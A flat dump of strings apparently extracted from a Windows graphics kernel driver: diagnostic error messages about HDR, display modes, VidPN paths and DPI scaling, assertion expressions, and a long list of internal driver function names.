MonitorIsMonitorAndLinkHDRCapable() failed on adapter:0x%I64x%08I64x target:0x%I64x (Status = 0x%I64x). MonitorIsMonitorAndDriverWCGCapable() failed on adapter:0x%I64x%08I64x target:0x%I64x (Status = 0x%I64x). IsCurrentModeAdvancedColor() failed on adapter:0x%I64x%08I64x target:0x%I64x (Status = 0x%I64x). !bCurrentModeHdr && !bCurrentModeWcg MonitorGetIsAutoColorManagementSupported() failed on adapter:0x%I64x%08I64x target:0x%I64x (Status = 0x%I64x). !i_bGetDeviceInfo MonitorEnableDisableAdvancedColor() failed on adapter:0x%I64x%08I64x target:0x%I64x (Status = 0x%I64x). MonitorEnableDisableHdr() failed on adapter:0x%I64x%08I64x target:0x%I64x (Status = 0x%I64x). MonitorEnableDisableWcg() failed on adapter:0x%I64x%08I64x target:0x%I64x (Status = 0x%I64x). MonitorGetHdrBrightnessPolicy() failed on adapter:0x%I64x%08I64x target:0x%I64x (Status = 0x%I64x). MonitorSetSDRWhiteLevel() failed on adapter:0x%I64x%08I64x target:0x%I64x (Status = 0x%I64x). MonitorSetHdrFlavor() failed on adapter:0x%I64x%08I64x target:0x%I64x (Status = 0x%I64x). MonitorGetDitheringCaps() failed 0x%I64x) DISPLAYCONFIG_DEVICE_INFO_SET_MONITOR_SPECIALIZATION was called with an invalid app name string. Failed to call MonitorGetPseudoSpecializedState with status 0x%I64x MonitorGetExternalBrightnessPolicy() failed on adapter:0x%I64x%08I64x target:0x%I64x (Status = 0x%I64x). Failed to call MonitorGetColorPipelineState2 with status 0x%I64x Failed to call MonitorGetColorPipelineState with status 0x%I64x PathForTarget.Descriptors[0].pDevMode == NULL Failed DISPLAYCONFIG_DEVICE_INFO_GET_TARGET_INFO_INTERNAL for adapter <0x%I64x, 0x%I64x>, target:0x%I64x Failed to find source/adapter from hash 0x%I64x Failed to find has for adapter <0x%I64x, 0x%I64x>, source:0x%I64x TriggerCabcV2Wnf failed 0x%I64x Could not acquire adapter core access; adapter probably suspended. (pAdapter = 0x%I64x, pAdapter->GetLuid() = <0x%I64x, 0x%I64x>) Wrong value set in PickedWireFormat: 0x%I64x, returning 0 bits per pixel NULL != pDisplayInfo Failed to reference adapter by LUID (0x%I64x%08I64x) in DxgkGetAdapterDeviceDesc function. Remote session: No session data for session 0x%I64x!!! System Process %I64d (0x%I64x) Remote session: VidPnSourceId 0x%I64x is not less than the number of VidPnSources 0x%I64x. (0x%I64x) Failed to get pairing adapters from adapter (0x%I64x%08I64x) VidPn source 0x%I64x! (0x%I64x) (VidPnSourceId == D3DDDI_ID_UNINITIALIZED) == (pDisplayAdapter == NULL) (PickedColorSpace != D3DDDI_OUTPUT_WIRE_COLOR_SPACE_G2084_P2020_DVLL) || pDisplayAdapter->GetAdapter()->IsXBoxOneDevice() || pDisplayAdapter->GetAdapter()->IsSoftGPU() Invalid DXGK_SYNC_LOCK_STYLE, fallback to disable the output SyncLock. Caller specified VidPnSourceId 0x%I64x is bigger than the total number of VidPnSources 0x%I64x on adapter (0x%I64x%08I64x). (0x%I64x) Failed to get adapter LUID from LUID (0x%I64x%08I64x), target ID 0x%I64x (Status = 0x%I64x). Failed to reference adapter by LUID (0x%I64x%08I64x) in DxgkGetMonitorInternalInfo function, returning 0x%I64x. Failed to get monitor CCD name from adapter 0x%I64x%08I64x target 0x%I64x (Status = 0x%I64x). Failed to get monitor HDR caps for adapter 0x%I64x%08I64x target 0x%I64x (Status = 0x%I64x). NT_SUCCESS(Status2) Failed to reference adapter by LUID (0x%I64x%08I64x) in DxgkGetMonitorDescriptor function, returning 0x%I64x. Failed to get monitor EDID from adapter 0x%I64x%08I64x target 0x%I64x (Status = 0x%I64x). (pTransContext->ActiveMiracastAdapterLuid.LowPart == 0) && (pTransContext->ActiveMiracastAdapterLuid.HighPart == 0) (io_pHeader != NULL) && (io_pHeader->Size > 0) Unable to obtain DXGGLOBAL singleton; io_pHeader = 0x%I64x Unknown DISPLAYCONFIG_SCALING 0x%I64x Failed to acquire adapter core access on adapter 0x%I64x%08I64x, Statue = 0x%I64x. VidPnSourceId < pDisplayCore->GetNumVidPnSources() All the VidPn sources are used on adapter 0x%I64x%08I64x, returning 0x%I64x. pAnyStereoExists && pCurModeSupportsStereo Exception encountered validating process or input. pProcess=0x%I64x, pAnyStereoExists=0x%I64x, pCurModeSupportsStereo=0x%I64x. Returning 0x%I64x Failed to reference adapter by LUID (0x%I64x%08I64x) in DxgkpAdapterCheckStereoMode function. pDisplayAdapter.Get() != NULL DxgkDDisplayEnum is called from container with different OS version., returning 0x%I64x Failed to allocate buffers for DispBrokerEnum: 0x%I64x adapter, 0x%I64x targets Result >= 0 Non-display adapter (0x%I64x-0x%I64x) specified, returning 0x%I64x LongPowerButtonHoldListener::Start() failed with Status : 0x%I64x DXGBLACKBOX::Initialize() failed with Status : 0x%I64x PoRegisterPowerSettingCallback for GUID_LIDSWITCH_STATE_RELIABILITY failed with status:0x%I64x PoRegisterPowerSettingCallback for GUID_LIDSWITCH_STATE_CHANGE failed with status:0x%I64x (*(LONG*)pValue == 0) || (*(LONG*)pValue == 1) ValueLength >= sizeof(LONG) m_Object == nullptr Target 0x%I64x on adapter 0x%I64x-%I64x is just removed when the lock is released. Failed to allocate DXGDISPLAYMANAGERSOURCEOBJECT Failed to create NT handle for display manager source object (0x%I64x) Access denied to take ownership of VidPn source m_Object != nullptr shellDisplayManagement pEntry Failed to connect to session broker with status 0x%I64x in session 0x%I64x Opened DispMgr object, but it was not a valid target manager. !m_pDisplaySource[VidPnSourceId].m_PendingReleaseVidPnOwner Invalid rotation %I64d failed call to DXGDMM_VIDPNTOPOLOGY_INTERFACE::pfnAddPath (status = 0x%I64x). DmmScaling != D3DKMDT_VPPS_PREFERRED Failed call to DXGDMM_VIDPNTOPOLOGY_INTERFACE::pfnGetPathImportance. (Status = 0x%I64x, PrimVidPnTargetId = 0x%I64x, m_VidPnSourceId = 0x%I64x) Failed call to DXGDMM_VIDPNTOPOLOGY_INTERFACE::pfnEnumPathTargetsFromSource. (Status = 0x%I64x, m_VidPnSourceId = 0x%I64x, PathIndex = 0x%I64x) Failed call to DmmGetVideoOutputTechnology(Status = 0x%I64x) (PrimVidPnTargetId != D3DDDI_ID_UNINITIALIZED) || (m_CloneGroupSize == 0) Failed call to DXGDMM_VIDPNSOURCEMODESET_INTERFACE::pfnAcquireFirstModeInfo. (Status = 0x%I64x) Failed call to DXGDMM_VIDPN_INTERFACE::pfnAcquireSourceModeSet. (Status = 0x%I64x) Failed to determine whether mode is supported by monitor. (Status = 0x%I64x, spVidPnTargetModeInfo.GetResource() = 0x%I64x) Failed call to DXGDMM_VIDPNSOURCEMODESET_INTERFACE::pfnAcquireTargetModeSet. (Status = 0x%I64x) Failed to pin the reported-as-supported scaling mode 0x%I64x on the path (0x%I64x, 0x%I64x) because of not supported by driver, returning 0x%I64x. Failed call to DXGDMM_VIDPNTOPOLOGY_INTERFACE::pfnAcquirePathInfo. (Status = 0x%I64x) Failed to pin the reported-as-supported rotation mode 0x%I64x on the path (0x%I64x, 0x%I64x) because of not supported by driver, returning 0x%I64x. Unable to set scaling on the path. ( Status = 0x%I64x, m_VidPnSourceId = 0x%I64x, PrimVidPnTargetId = 0x%I64x, m_hVidPnTopology = 0x%I64x, PathScaling = 0x%I64x) Unable to unpin rotation. (Status = 0x%I64x, m_hVidPnTopology = 0x%I64x, m_VidPnSourceId = 0x%I64x, PrimVidPnTargetId = 0x%I64x) Unable to set rotation on the path. (Status = 0x%I64x, m_VidPnSourceId = 0x%I64x, PrimVidPnTargetId = 0x%I64x, m_hVidPnTopology = 0x%I64x, PathRotation = 0x%I64x) Failed call to DXGDMM_VIDPNSOURCEMODESET_INTERFACE::pfnAcquireNextModeInfo. (Status = 0x%I64x) Unable to unpin scaling. (Status = 0x%I64x, m_VidPnSourceId = 0x%I64x, m_hVidPnTopology = 0x%I64x, PrimVidPnTargetId = 0x%I64x) Failed call to DXGDMM_VIDPNSOURCEMODESET_INTERFACE::pfnUnpinMode. (Status = 0x%I64x, spVidPnSourceModeInfo.GetResource() = 0x%I64x, spVidPnSourceModeInfo.GetResource()->Id = 0x%I64x) Failed call to DXGDMM_VIDPNTARGETMODESET_INTERFACE::pfnUnpinMode. (Status = 0x%I64x, shVidPnTargetModeSet.GetResource() = 0x%I64x, spVidPnTargetModeInfo.GetResource()->Id = 0x%I64x) GetUniqueModesFromUnionList failed. (Status = 0x%I64x) Unable to allocate mode list memory. GetUniqueModesFromInvalidModesUnionList failed. (Status = 0x%I64x) Unable to allocate mode list memory for invalid modes. Failed call to create an empty VidPN on adapter 0x%I64x (status = 0x%I64x). Failed to QueryDxgDmmInterface on hAdapter 0x%I64x (status = 0x%I64x). Failed to Add VidPn path from source 0x%I64x to target 0x%I64x on VidPn 0x%I64x (Status=0x%I64x). Failed to get VidPn topology from hVidPn 0x%I64x on Adapter 0x%I64x (Status=0x%I64x). Failed to acquire first mode info from source mode set 0x%I64x (Status = 0x%I64x). Failed to acquire VidPn source mode set from VidPn 0x%I64x for VidPn source ID 0x%I64x (Status = 0x%I64x). Failed to acquire first target mode info from target mode set 0x%I64x (Status = 0x%I64x). Failed to acquire target mode set from VidPn 0x%I64x for Target 0x%I64x (Status = 0x%I64x). Failed to pin D3DKMDT_VPPS_IDENTITY on path from source 0x%I64x to target 0x%I64x (Status = 0x%I64x). Failed to acquire VidPn path info from source 0x%I64x to target 0x%I64x (Status = 0x%I64x). Unable to unpin content scaling on path from source 0x%I64x to target 0x%I64x (Status = 0x%I64x). Failed to acquire path info on path from source 0x%I64x to target 0x%I64x (Status = 0x%I64x). Failed to Dunpin target mode set 0x%I64x (Status = 0x%I64x). Failed to get unique modes (Status = 0x%I64x). unable to allocate memory for display mode index. unable to allocate memory for display mode list. TotalModes == j Failed to add present path (0x%I64x, 0x%I64x) to VidPN topology 0x%I64x (status = 0x%I64x) Failed to find an available target in the subset %I64d of VidPN targets in topology 0x%I64x to be connected to source 0x%I64x (status = 0x%I64x). i_hDxgAdapter != NULL i_pDxgDmmInterface != NULL i_pDmmVidPnTopologyInterface != NULL i_hVidPnTopology != NULL o_pReclaimedPathSourceId != NULL o_pReclaimedVidPnTargetId != NULL Failed to acquire first source in VidPN source set 0x%I64x (status = 0x%I64x) Failed to acquire source set for adapter 0x%I64x (status = 0x%I64x) sztNumPathsFromSource == 0 pVidPnSourceInfo != NULL Failed to get target of the second path in topology 0x%I64x originating from source 0x%I64x (status = 0x%I64x) Failed to get the number of paths in topology 0x%I64x originating from source 0x%I64x (status = 0x%I64x) Failed to remove path (0x%I64x, 0x%I64x) from topology 0x%I64x which is the second path originating from that source (status = 0x%I64x) ClonedVidPnTargetId != D3DDDI_ID_UNINITIALIZED ARGUMENT_PRESENT(i_hVidPnTopology) Failed to acquire source following 0x%I64x in VidPN source set 0x%I64x (status = 0x%I64x) ARGUMENT_PRESENT(i_hDxgAdapter) ARGUMENT_PRESENT(i_pDmmVidPnTopologyInterface) i_VidPnSourceId != D3DDDI_ID_UNINITIALIZED ARGUMENT_PRESENT(i_pDxgDmmInterface) Failed to augment VidPN topology 0x%I64x at source 0x%I64x (status = 0x%I64x) ARGUMENT_PRESENT(o_pNumVidPnPresentPathsFromSource) ReclaimedVidPnTargetId != D3DDDI_ID_UNINITIALIZED Failed to find cloned target in topology 0x%I64x while trying to augment it on source 0x%I64x (status = 0x%I64x) sztNumVidPnPresentPaths > 0 ARGUMENT_PRESENT(i_pDmmVidPnInterface) ARGUMENT_PRESENT(i_hVidPn) ARGUMENT_PRESENT(hVidPnSourceModeSet) Failed to acquire VidPN source mode set on source 0x%I64x of VidPN 0x%I64x (status = 0x%I64x) Failed to unpin mode in VidPN source mode set 0x%I64x (status = 0x%I64x) ARGUMENT_PRESENT(pDmmVidPnSourceModeSetInterface) ConnectedVidPnTargetId != D3DDDI_ID_UNINITIALIZED Failed to enumerate target of %I64d'th path originating from source 0x%I64x in VidPN topology 0x%I64x (status = 0x%I64x) cdd!AcquirePresentPathUnpinnedCofuncModality failed call to DXGDMM_VIDPN_INTERFACE::pfnAcquireTargetModeSet. (status = 0x%I64x) Failed to remove copy protection on present path (0x%I64x, 0x%I64x) in topology 0x%I64x (status = 0x%I64x) ARGUMENT_PRESENT(pDmmVidPnTargetModeSetInterface) ARGUMENT_PRESENT(hVidPnTargetModeSet) Failed to unpin scaling on present path (0x%I64x, 0x%I64x) in topology 0x%I64x (status = 0x%I64x) cdd!AcquirePresentPathUnpinnedCofuncModality failed call to DXGDMM_VIDPNTARGETMODESET_INTERFACE::pfnUnpinMode. (status = 0x%I64x) Failed to acquire Vidpn present path from VidPn topology 0x%I64x (status = 0x%I64x) Failed to unpin rotation on present path (0x%I64x, 0x%I64x) in topology 0x%I64x (status = 0x%I64x) Failed to acquire pinned mode info on source 0x%I64x in mode set 0x%I64x (status = 0x%I64x) Unknown orientation %I64d i_hVidPn != NULL i_hAdapter != NULL io_pDisplayModeInfo != NULL i_pDmmVidPnInterface != NULL o_phFunctionalizedVidPn != NULL Failed to enumerate the all the paths topology 0x%I64x (status = 0x%I64x) Failed to find the most important paths originating from source 0x%I64x in topology 0x%I64x (status = 0x%I64x) After relaxing the refresh rate matching functionalize still failed (status = 0x%I64x) o_pNumVidPnPresentPathsFromSource != NULL Failed to update refresh rate! Failed to acquire target set of adapter 0x%I64x (status = 0x%I64x) Failed to augment VidPN topology on source 0x%I64x (status = 0x%I64x). Failed to remove all paths from source 0x%I64x in topology 0x%I64x (status = 0x%I64x) sztNumPathsFromSource > 0 sztNumAugmentedPathsFromSource > 0 o_phVidPn != NULL o_ppDmmVidPnInterface != NULL Integer refresh rate in display mode (%i64d)Hz does not match rational refresh rate (%i64d/%I64d)hz. Failed to pin source/target modes on VidPN present (multi)path from source 0x%I64x matching specified display mode (%I64d x %I64d x 0x%I64x @ %I64d[Hz]) pDisplaySource->GetAdapter() == pAdapter Status=0x%I64x pfnGetTopology failed hVidPn=0x%I64x pAdapter=0x%I64x VidPnSrcId=%0x%I64x pDmmVidPnInterface=0x%I64x NumPathsFromSource < pAdapter->GetDisplayCore()->GetNumVidPnSources() Status != STATUS_GRAPHICS_TRY_AGAIN_NOW Failed to convert DWM clone to hardware clone from source 0x%I64x of adapter 0x%I64x (status = 0x%I64x), returning 0x%I64x to rety the cross adapter clone way. !*FreeModeList !ForceCrossAdapterClone || (Status != STATUS_GRAPHICS_TRY_AGAIN_NOW) Failed to acquire console session mode change shared lock, returning 0x%I64x. Failed to acquire current session mode change shared lock, returning 0x%I64x. 0x%I64x returned due to an invalid device handle 0x%I64x 0x%I64x 0x%I64x 0x%I64x 0x%I64x 0x%I64x fails to allocate array of 0x%I64d D3DDDI_MULTISAMPLINGMETHOD ret = 0x%I64x Device 0x%I64x: Invalid primary specified: 0x%I64x Set display mode on render only device 0x%I64x, returning 0x%I64x. pDisplayAdapter == pDevice->GetDisplayAdapter(PrimaryAllocationReference.m_pAllocation->m_pAllocation->m_VidPnSourceId) ret = 0x%I64x Device 0x%I64x: Invalid DisplayOrientation specified 0x%I64x ret = 0x%I64x Device 0x%I64x: Invalid ScanLineOrdering specified 0x%I64x Failed in restoring copy protection on VidPnSourceId 0x%I64x on DXGADAPTER 0x%I64x (status = 0x%I64x) ret = 0x%I64x Device 0x%I64x: Primary (0x%I64x 0x%I64x) must be on allocated on the specified device (0x%I64x) Driver data size is not zero for a NULL driver data buffer. Status=0x%I64x DXGPROCESS=0x%I64x Invalid hAdapter (0x%I64x) specified (pDisplayAdapter != NULL) && pDisplayAdapter->IsDisplayAdapter() && pDisplayAdapter->IsCoreResourceExclusiveOwner() GetRenderAdapter()->IsCoreResourceExclusiveOwner() The miniport driver returned invalid refresh rate with denominator being 0; numerator is 0x%I64x ret = 0x%I64x Device 0x%I64x: DdiDescribeAllocation failed 0x%I64x 0x%I64x 0x%I64x ret = 0x%I64x Device 0x%I64x: DxgkQueryDmmInterface failed 0x%I64x 0x%I64x 0x%I64x DmmPowerOnOffTargetsFromSourceIfNecessary failed on hAdapter 0x%I64x (Status = 0x%I64x). NTSTATUS=0x%I64x DXGADAPTER 0x%I64x DXGADAPTER::CommitVidPn failed VidPnSourceId 0x%I64x DXGALLOCATION 0x%I64x 0x%I64x 0x%I64x 0x%I64x failed to create functional VidPN based on the active VidPN with source 0x%I64x enabled with %I64d x %I64d x %I64d. Failed call to DmmCacheDisplayModeChangeRequest (status = 0x%I64x) D3DKMT_GETPATHSMODALITY_FILL_TARGET_INFO_ONLY is not valid with any other flags. (Flags = 0x%I64x) D3DKMT_GETPATHSMODALITY_FORCE_FULL_MODE_CHANGE and D3DKMT_GETPATHSMODALITY_FORCE_UNCONDITIONAL_MODE_CACHE_INVALIDATE are not valid with any other flags. (Flags = 0x%I64x) (Flags & ~(D3DKMT_GETPATHSMODALITY_DIAG_LOG_FUNCTIONAL_VIDPN | D3DKMT_GETPATHSMODALITY_ALLOW_BML_RAWMODE | D3DKMT_GETPATHSMODALITY_INCLUDING_NON_DESKTOP)) == 0 (Flags & ~(D3DKMT_GETPATHSMODALITY_FUNCTIONALIZE_FLAGS)) == 0 Failed to allocate virtual memory for %I64d modes. Failed to allocated a buffer to store %I64d modes. Invalid argument. (io_pAugment = 0x%I64x) Divide by zero due to 0 physical dimension. pDpiInfo->BaselineDesktopScaleFactor != DESKTOP_SCALE_INVALID (Override >= MIN_DESKTOPDPIOVERRIDE) && (Override <= MAX_DESKTOPDPIOVERRIDE) pDpiInfo->CurrentResolution.cx != 0 && pDpiInfo->CurrentResolution.cy != 0 Monitors RtlStringCbPrintfW failed with status: 0x%I64x, for HashKey: %d %s\%s\%s SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Scaling DesktopScaleFactor RtlStringCbPrintfW failed with status: 0x%I64x, for full subkey for HashKey: %d RtlQueryRegistryValues for scaling overrides failed with unexpected status: 0x%I64x \Registry\Machine\ pScaleFactorCollection->pScaleFactors != nullptr ((Win8StyleDpiOverride != 0) && (PreferredScaleFactor == 0)) || ((Win8StyleDpiOverride == 0) && (PreferredScaleFactor != 0)) Failed to get monitor Id. (Status = 0x%I64x, i_VidPnTargetId = 0x%I64x, MonitorHandle = 0x%I64x, i_AdapterLuid = 0x%I64x%08I64x) Failed to release monitor handle. (_Status = 0x%I64x, i_VidPnTargetId = 0x%I64x, MonitorHandle = 0x%I64x, i_AdapterLuid = 0x%I64x%08I64x) io_MonitorId->MaximumLength % sizeof(WCHAR) == 0 Specified display adapter 0x%I64x%08I64x does not have a valid VidPN manager associated with it RtlFreeUnicodeString failed: (Status = 0x%I64x) Unable to get Monitor ID String to write to registry (Status = 0x%I64x) HKeyRootHandle PerMonSettingsKeyHandle Unable to open/create HKey subkey (Status = 0x%I64x) MonitorIdKeyHandle Unable to open/create HKey subkey for monitor set (Status = 0x%I64x) Failed to write DPI value to HKey subkey. (Status = 0x%I64x) Failed to write DPI value to HKLM. Writing to HKCU anyway. (Status = 0x%I64x) Failed to write DPI value to HKLM. (Status = 0x%I64x) HKCURootName.Length == 0 pDxgSessionData->GetUserRegistryPath()->Length == 0 Failed to write DPI value to HKCU. (Status = 0x%I64x) Unable to read registry values. (Status = 0x%I64x, SubKeyHandle2 = 0x%I64x, QueryTable = 0x%I64x) pDisplaySource != NULL Invalid mode from call to DXGDMM_VIDPN_INTERFACE::pfnAcquirePinnedModeInfo. (pPinnedVidPnSourceModeInfo = 0x%I64x) pPhysicalSizeOverride != NULL Height Width PhysicalDisplaySizeOverride Failed to get video output technology from adapter 0x%I64x, target 0x%I64x (status = 0x%I64x) IsRemote == IsAdapterSessionized Failed to acquire topology for VidPN 0x%I64x (status = 0x%I64x) pContentRect != NULL !IsAdapterSessionized || (TargetSession == PsGetCurrentProcessSessionId()) NT_SUCCESS(ntStatus) (pContentRect->right - pContentRect->left > 0) && (pContentRect->bottom - pContentRect->top > 0) Failed to acquire info of path (0x%I64x, 0x%I64x) (status = 0x%I64x) Could not retrieve Win8StyleOverride and/or ScaleFactorCollection from Win32. (0x%I64x) Failed to get preferred mode from monitor EDID or DisplayID on adapter 0x%I64x, target 0x%I64x (status = 0x%I64x) pVidPnPresentPathInfo != NULL Invalid scaling %I64d Failed to get preferred monitor source mode from adapter 0x%I64x, target 0x%I64x (status = 0x%I64x) CurrentDpiInfo.FlagsUnion.AllFlags == 0 CurrentDpiInfo.ViewDistTenthsOfInch != 0 DpiInfo.DesktopScaleFactor != DESKTOP_SCALE_INVALID MonitorGetMonitorDeviceInterfaceName failed for adapter: 0x%I64x, target: 0x%I64x, with status: 0x%I64x Couldn't acquire shared adapter access, Status=0x%I64x EPROCESS=0x%I64x pAdapter=0x%I64x Failed to write DPI to registry with Status = 0x%I64x Failed DxgkQueryDmmInterface with Status = 0x%I64x, adapter = 0x%I64x, SourceId = 0x%I64x Couldn't obtain scale factor collection, Status=0x%I64x EPROCESS=0x%I64x Count of core access locks D0 Total Lag Time(ms) GPU Total Time(ms) D0 Lag Time(ms) Count of D3 wake ups Count of DFx blocks Total Size of VRAM (MB) Self Refresh Memory Eviction Timer (sec) Self Refresh Memory Eviction Threshold (MB) Self Refresh Memory Eviction Timer AC (sec) Self Refresh Memory Eviction Timer DC (sec) DriverEntry Total Bytes Purged DxgkInternalDeviceIoctl DxgkCreateClose DpiAddDevice DxgkProcessNotify DpiDispatchCreate DpiDispatchClose DpiDispatchIoctl DpiDispatchPower DpiDispatchPnp DpiDriverUnload DpiDispatchSystemControl DxgkProcessCallout DxgkAcquireAdapterCoreSync DxgkCloseAdapter DxgkOpenAdapter DxgkQueryResourceInfo DxgkDestroyAllocation DxgkOpenResource DxgkQueryAllocationResidency DxgkSetAllocationPriority DxgkDestroyDevice DxgkCreateDevice DxgkUnlock DxgkLock DxgkGetRuntimeData DxgkRender DxgkEscape DxgkQueryAdapterInfo DxgkGetDisplayModeList DxgkPresent DxgkGetMultisampleMethodList DxgkCreateOverlay DxgkGetSharedPrimaryHandle DxgkFlipOverlay DxgkUpdateOverlay DxgkDestroyOverlay DxgkGetDeviceState DxgkSetVidPnSourceOwner DxgkGetContextSchedulingPriority DxgkSetContextSchedulingPriority DxgkGetProcessSchedulingPriorityClass DxgkSetProcessSchedulingPriorityClass DxgkGetScanLine DxgkReleaseProcessVidPnSourceOwners DxgkPollDisplayChildren DxgkSetQueuedLimit DxgkCheckOcclusion DxgkInvalidateActiveVidPn DxgkDestroyContext DxgkCreateContext DxgkDestroySynchronizationObject DxgkSignalSynchronizationObject DxgkCheckMonitorPowerState DxgkWaitForIdle DxgkSetDisplayPrivateDriverFormat DxgkCheckExclusiveOwnership DxgkOpenSynchronizationObject DxgkQueryStatistics DxgkOpenKeyedMutex DxgkCreateKeyedMutex DxgkAcquireKeyedMutex DxgkDestroyKeyedMutex DxgkConfigureSharedResource DxgkReleaseKeyedMutex DxgkCheckVidPnExclusiveOwnership DxgkGetOverlayState DxgkCheckSharedResourceAccess DxgkDestroyOutputDupl DxgkCreateOutputDupl DxgkOutputDuplGetMetaData DxgkOutputDuplGetFrameInfo DxgkCreateKeyedMutex2 DxgkOutputDuplGetPointerShapeData DxgkAcquireKeyedMutex2 DxgkOpenKeyedMutex2 DxgkReleaseKeyedMutex2 DxgkOutputDuplReleaseFrame DxgkShareObjects DxgkQueryResourceInfoFromNtHandle DxgkOpenResourceFromNtHandle DxgkOpenNtHandleFromName DxgkEnumAdapters DxgkUnpinDirectFlipResources DxgkPinDirectFlipResources DxgkOpenAdapterFromLuid DxgkGetPathsModality DxgkSetContextInProcessSchedulingPriority DxgkWaitForVerticalBlankEvent2 DxgkOpenSyncObjectFromNtHandle DxgkGetContextInProcessSchedulingPriority DxgkGetSharedResourceAdapterLuid DxgkGetCachedHybridQueryValue DxgkSetStereoEnabled DxgkPresentMultiPlaneOverlay DxgkCacheHybridQueryValue DxgkSetIndependentFlipMode DxgkCheckMultiplaneOverlaySupport DxgkNotifyProcessThawCallout DxgkConfirmToken DxgkReserveGpuVirtualAddress DxgkSetPresenterViewMode DxgkFreeGpuVirtualAddress DxgkCreateContextVirtual DxgkLock2 DxgkUpdateGpuVirtualAddress DxgkCreateSwapChain DxgkCheckMultiplaneOverlaySupport2 DxgkDestroySwapChain DxgkOpenSwapChain DxgkReleaseSwapChain DxgkAcquireSwapChain DxgkSetDodIndirectSwapchain DxgkAbandonSwapChain DxgkEvict DxgkDestroyPagingQueue DxgkCreatePagingQueue DxgkChangeVideoMemoryReservation DxgkQueryVideoMemoryInfo DxgkInvalidateCache DxgkGetSetSwapChainMetadata DxgkSetStablePowerState DxgkGetResourcePresentPrivateDriverData QueryVidPnExclusiveOwnership DxgkQueryClockCalibration DxgkWin32kSetPointerPosition DxgkAdjustFullscreenGamma DxgkSetVidPnSourceHwProtection DxgkWin32kSetPointerShape DxgkUpdateAllocationProperty DxgkMarkDeviceAsError DxgkQueryFSEBlock DxgkSetFSEBlock DxgkVmBusSendSyncMessage DxgkVmBusCreateChannel DxgkVmBusProcessMessage DxgkVmBusSendAsyncMessage DxgkSetYieldPercentage DxgkGetAllocationPriority DxgkSetMemoryBudgetTarget DxgkSetProcessSchedulingPriorityBand DxgkGetProcessSchedulingPriorityBand DxgkGetYieldPercentage DxgkGetOverlayCaps DxgkGetMemoryBudgetTarget DxgkPresentRedirected DxgkDestroyProtectedSession DxgkCreateProtectedSession DxgkQueryProtectedSessionInfoFromNtHandle DxgkQueryProtectedSessionStatus DxgkCreateHwQueue DxgkOpenProtectedSessionFromNtHandle DxgkSetProcessDeviceRemovalSupport DxgkDestroyHwQueue DxgkCreateBundleObject DxgkGetProcessDeviceRemovalSupport DxgkOpenKeyedMutexFromNtHandle DxgkExtractBundleObject DxgkSubmitSignalSyncObjectsToHwQueue DxgkSubmitCommandToHwQueue DxgkPresentMultiPlaneOverlay2 DxgkSubmitWaitForSyncObjectsToHwQueue DxgkInvalidateMonitorConnections DxgkPresentMultiPlaneOverlay3 DxgkPersistPathsModality DxgkApplyPathsModality DxgkFunctionalizePathsModality DxgkEnumerateModesForPathsModality DxgkFinalizePathsModality DxgkCompleteTopologyTransition DxgkUpdateGdiInfo DxgkIsSourceInHardwareClone DxgkGetDisplayConfigBufferSizes DxgkConvertPathsModalityToDisplayConfig DxgkHandleForceProjectionMonitor DxgkConvertDisplayConfigToDevMode DxgkDesktopSwitch DxgkIsPortraitFirstTarget DxgkDisplayOnOff DxgkIsVidPnSourceOwnerExclusive DxgkGetAdapterDeviceDesc DxgkGetMonitorDescriptor DxgkGetMonitorInternalInfo DxgkBeginTopologyTransition DxgkGetDpiOverrideForSource DxgkGetDWMVerticalBlankEvent DxgkStatusChangeNotify DxgkProcessLockScreen DxgkPreSessionDisconnected DxgkSessionConnected DxgkSessionReconnected DxgkSessionDisconnected DxgkRemoveSurfaceFromSwapChain DxgkAddSurfaceToSwapChain DxgkGetProcessList DxgkUnOrderedPresentSwapChain DxgkOpenBundleObjectNtHandleFromName DxgkOpenSyncObjectNtHandleFromName DxgkDestroyTrackedWorkload DxgkCreateTrackedWorkload DxgkpProcessVSyncPhaseThread DxgkDuplicateHandle DxgkpProcessStatusChangeWork DxgkTrimProcessCommitment DxgkCddDestroy DxgkCddCreate DxgkCddDisable DxgkCddEnable DxgkCddGetDriverCaps DxgkCddGetDisplayModeList DxgkCddUnlock DxgkCddLock DxgkCddSetGammaRamp DxgkCddPresent DxgkCddSetPointerPosition DxgkCddSetPalette DxgkCddTerminateThread DxgkCddSetPointerShape DxgkCddWaitForVerticalBlankEvent DxgkCddSetOrigin DxgkCddCreateAllocation DxgkCddSyncGPUAccess DxgkCddBltToPrimary DxgkCddDestroyAllocation DxgkCddDrvBitBlt DxgkCddGdiCommand DxgkCddDrvStrokePath DxgkCddDrvColorFill DxgkCddDrvLineTo DxgkCddDrvAlphaBlend DxgkCddDrvStrokeAndFillPath DxgkCddDrvFillPath DxgkCddDrvPlgBlt DxgkCddDrvStretchBltROP DxgkCddDrvTextOut DxgkCddDrvStretchBlt DxgkCddDrvTransparentBlt DxgkCddDrvGradientFill DxgkCddQueryResourceInfo DxgkCddOpenResource DxgkCddCreateDeviceBitmap DxgkCddSubmitPresentHistory DxgkCddAddCommand DxgkCddUpdateGdiMem DxgkCddAssertModeInternal DxgkCddEnableLite DxgkCddPresentDisplayOnly DxgkCddSetLiteModeChange DxgkCddWaitGdiContext DxgkCddSignalGdiContext DxgkCddWaitDxContext DxgkCddSignalDxContext DxgkCddEndDxInterop DxgkCddStartDxInterop DxgkCddDxGdiInteropFailed DxgkCddAddD3DDirtyRect DxgkCddFlushCpuCache DxgkCddSyncDxAccess DxgkCddOpenResourceFromNtHandle DxgkCddLockMdlPages DxgkCddUnlockMdlPages DxgkCddQueryResourceInfoFromNtHandle DxgkCddReuseDeviceBitmapEx DxgkCddTrimStagingSize DxgkCddEvict DxgkCddMakeResident DpiDxgkDdiStartDevice DpiDxgkDdiAddDevice DpiDxgkDdiRemoveDevice DpiDxgkDdiStopDevice DpiDxgkDdiQueryChildRelations DpiDxgkDdiDispatchIoRequest DpiDxgkDdiQueryDeviceDescriptor DpiDxgkDdiQueryChildStatus DpiDxgkDdiNotifyAcpiEvent DpiDxgkDdiSetPowerState DpiDxgkDdiControlEtwLogging DpiDxgkDdiUnload DpiDpcForIsr DpiDxgkDdiQueryInterface VidSchDdiNotifyInterrupt DpiFdoMessageInterruptRoutine DpiDxgkDdiStopDeviceAndReleasePostDisplayOwnership VidSchiCallNotifyInterruptAtISR DpiDxgkDdiDdiNotifySurpriseRemoval DpiDxgkDdiGetChildContainerId DpiFdoThermalPassiveCooling DpiFdoThermalActiveCooling DpiPNPPowerRelated DxgkCbIndicateChildStatus DdiQueryAdapterInfo VidSchiDeferredVisibilityThread DdiCreateAllocation 